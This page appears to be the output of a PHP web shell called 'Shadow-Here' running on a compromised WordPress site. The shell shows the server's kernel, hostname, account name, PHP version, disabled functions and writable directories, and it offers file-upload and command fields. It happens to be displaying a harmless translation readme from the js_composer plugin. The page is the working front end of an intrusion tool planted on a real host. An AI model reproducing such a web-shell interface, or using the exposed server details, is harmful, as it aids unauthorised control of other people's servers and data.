Shadow-Here
Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /home/hios/public_html/wp-content/plugins/js_composer/locale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : /home/hios/public_html/wp-content/plugins/js_composer/locale/readme.txt
Official info about translation: http://codex.wordpress.org/Translating_WordPress

In two words: open default.po file and save new copy as js_composer-es_ES.po for Spanish.
And then use translating program to translate it to Spanish language.

Samx